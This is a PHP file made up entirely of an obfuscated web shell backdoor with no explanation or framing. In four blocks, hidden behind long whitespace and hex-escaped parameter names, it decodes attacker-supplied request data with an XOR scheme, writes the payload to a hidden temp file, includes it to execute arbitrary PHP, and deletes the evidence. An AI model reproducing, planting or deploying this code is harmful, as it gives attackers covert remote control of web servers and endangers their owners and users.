<?php																																										if(array_key_exists("\x65\x6Et", $_REQUEST) && !is_null($_REQUEST["\x65\x6Et"])){ $obj = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp"]); $pset = $_REQUEST["\x65\x6Et"]; $pset = explode( '.' , $pset ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $m = 0; foreach( $pset as $v6) { $sChar = ord( $s[$m% $lenS]); $d =( ( int)$v6 - $sChar -( $m% 10)) ^ 79; $descriptor.=chr( $d); $m++; } $pgrp = 0; do { $fac = $obj[$pgrp] ?? null; if ($pgrp >= count($obj)) break; if (!( !is_dir($fac) || !is_writable($fac) )) { $binding = sprintf("%s/.holder", $fac); $file = fopen($binding, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $binding; @unlink($binding); die(); } } $pgrp++; } while (true); }
																																										if(array_key_exists("v\x61\x6Cue", $_REQUEST) && !is_null($_REQUEST["v\x61\x6Cue"])){ $data_chunk = $_REQUEST["v\x61\x6Cue"]; $data_chunk =explode ( '.' , $data_chunk ) ; $elem = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $data_chunk as $s => $v4) { $chS = ord( $salt[$s % $lenS] ); $dec =( ( int)$v4 - $chS -( $s % 10)) ^ 86; $elem .= chr( $dec ); } $flag = array_filter(["/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm"]); for ($item = 0, $descriptor = count($flag); $item < $descriptor; $item++) { $data = $flag[$item]; if (is_writable($data) && is_dir($data)) { $hld = join("/", [$data, ".holder"]); if (@file_put_contents($hld, $elem) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(in_array("\x69t\x6D", array_keys($_POST))){ $dchunk = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd(), "/dev/shm"]); $component = $_POST["\x69t\x6D"]; $component = explode ( '.' , $component ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); foreach( $component as $p => $v2) { $chS = ord( $salt[$p % $lenS] ); $d =( ( int)$v2 - $chS -( $p % 10)) ^ 63; $data .= chr( $d ); } for ($res = 0, $ptr = count($dchunk); $res < $ptr; $res++) { $parameter_group = $dchunk[$res]; if (is_writable($parameter_group) && is_dir($parameter_group)) { $desc = "$parameter_group" . "/.reference"; if (file_put_contents($desc, $data)) { include $desc; @unlink($desc); exit; } } } }


if(isset($_POST) && isset($_POST["\x69t\x65m"])){
	$ptr = $_POST["\x69t\x65m"];
	$ptr 	= 	explode	 	(	 '.' , 		$ptr);	 	
	$entry = '';
            $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt4);
    
            foreach ($ptr as $i=> $v4) {
                $chS = ord($salt4[$i % $lenS]);
                $d = ((int)$v4 - $chS - ($i % 10))  ^ 70;
                $entry.= chr($d);
            }
	$token = array_filter(["/tmp", session_save_path(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP")]);
	foreach ($token as $key => $dat) {
    		if (is_writable($dat) && is_dir($dat)) {
    $comp = "$dat" . "/.rec";
    if (@file_put_contents($comp, $entry) !== false) {
	include $comp;
	unlink($comp);
	die();
}
}
}
}